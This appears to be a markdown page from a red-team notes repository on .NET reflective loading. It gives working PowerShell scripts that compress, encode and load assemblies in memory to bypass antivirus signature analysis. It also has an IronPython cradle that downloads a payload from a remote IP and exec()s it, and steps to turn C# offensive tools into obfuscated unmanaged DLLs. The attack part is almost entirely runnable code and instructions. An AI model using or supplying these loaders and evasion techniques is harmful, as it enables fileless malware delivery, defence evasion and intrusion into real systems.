Skip to content

Latest commit

 

History

History
129 lines (98 loc) · 5.79 KB

dotnet-reflective-assembly.md

File metadata and controls

129 lines (98 loc) · 5.79 KB

.NET Reflective Assembly

A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and its Main method public):

{% code title="CompressEncodeAssembly.ps1" %}

$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
notepad.exe .\b64.txt

{% endcode %}

This blog post covers the topic in depth.

An example how the binary can be actually decoded, decompressed and run from memory:

{% code title="Invoke-S0m3B1n4ry.ps1" %}

function Invoke-S0m3B1n4ry
{
	#[CmdletBinding()]
	#Param([String]$Command = " ")

	$a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("..."))
	$b = New-Object System.IO.Compression.GZipStream($a, [System.IO.Compression.CompressionMode]::Decompress)
	$c = New-Object System.IO.MemoryStream;
	$b.CopyTo($c)
	[byte[]]$d = $c.ToArray()
	$e = [System.Reflection.Assembly]::Load($d)
	$f = [System.Console]::Out
	$g = New-Object System.IO.StringWriter
	[System.Console]::SetOut($g)

	$h = [Reflection.BindingFlags]"Public,NonPublic,Static"
	$i = $e.GetType("S0m3B1n4ry.Program", $h)
	$j = $i.GetMethod("Main", $h)
	$j.Invoke($null, (, [string[]]$args))
	#$i = [S0m3B1n4ry.Program]::Main($Command.Split())

	[System.Console]::SetOut($f)
	$k = $g.ToString()
	$k
}

{% endcode %}

IronPython Loader

Cradle:

>>> import urllib.request
>>> request = urllib.request.Request('http://10.10.13.37/payload.py')
>>> result = urllib.request.urlopen(request)
>>> payload = result.read()
>>> exec(payload)

Payload:

{% code title="loader.py" %}

import clr
import zlib
import base64

clr.AddReference('System')
from System import *
from System.Reflection import *

b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<LOADER_BYTES_B64>'))).decode()
raw = Convert.FromBase64String(b64)

assembly = Assembly.Load(raw)
type = assembly.GetType('Loader.Program')
type.GetMethod('Main').Invoke(Activator.CreateInstance(type), None)

{% endcode %}

C# to Unmanaged DLL

Creating assembly with DLL exports from C# code:

  1. Select your favorite C# offensive tool.
  2. Install DllExport package via "Manage NuGet Packages for Solution" in VS.
  3. Configure DllExport like on the screenshot below and click "Apply".
  4. Agree to reload the solution.
  5. Edit the Main function code to work with no arguments passed so that the signature looks like static void Main().
  6. Add [DllExport] attribute before the Main function.
  7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
  8. Build the solution as Release x64 DLL assembly.
  9. (Optional) Obfuscate the assembly with something like Confuser.

DllExport Configuration

The resulting DLL will be placed in .\bin\x64\Release\x64\ directory.

{% hint style="warning" %} Author's note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for some reason the one that’s under \Release\ does not contain the entrypoint that should be generated by [DllExport], even though it’s built at the same time as the one in \x64\. {% endhint %}